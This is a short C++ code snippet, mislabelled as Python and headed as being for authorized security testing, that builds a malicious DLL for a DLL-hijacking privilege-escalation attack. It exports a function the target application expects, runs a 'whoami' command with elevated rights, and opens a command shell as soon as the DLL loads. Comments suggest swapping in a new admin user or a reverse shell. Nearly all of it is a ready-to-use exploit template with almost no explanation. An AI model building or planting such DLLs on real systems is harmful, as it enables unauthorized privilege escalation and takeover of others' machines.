The following code is for security research and authorized testing only.
python
#include <windows.h>
#include <stdlib.h>
// Export the function that the application expects to load
extern "C" __declspec(dllexport) void HookedFunction() {
// Payload: Execute a command with high privileges
// Example: Add a new user or start a reverse shell
system("cmd.exe /c whoami > C:\temp\privs.txt");
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
// Code runs when the DLL is loaded into the process
// This typically happens with SYSTEM or Admin privileges due to the vulnerable app
WinExec("cmd.exe", SW_SHOW);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}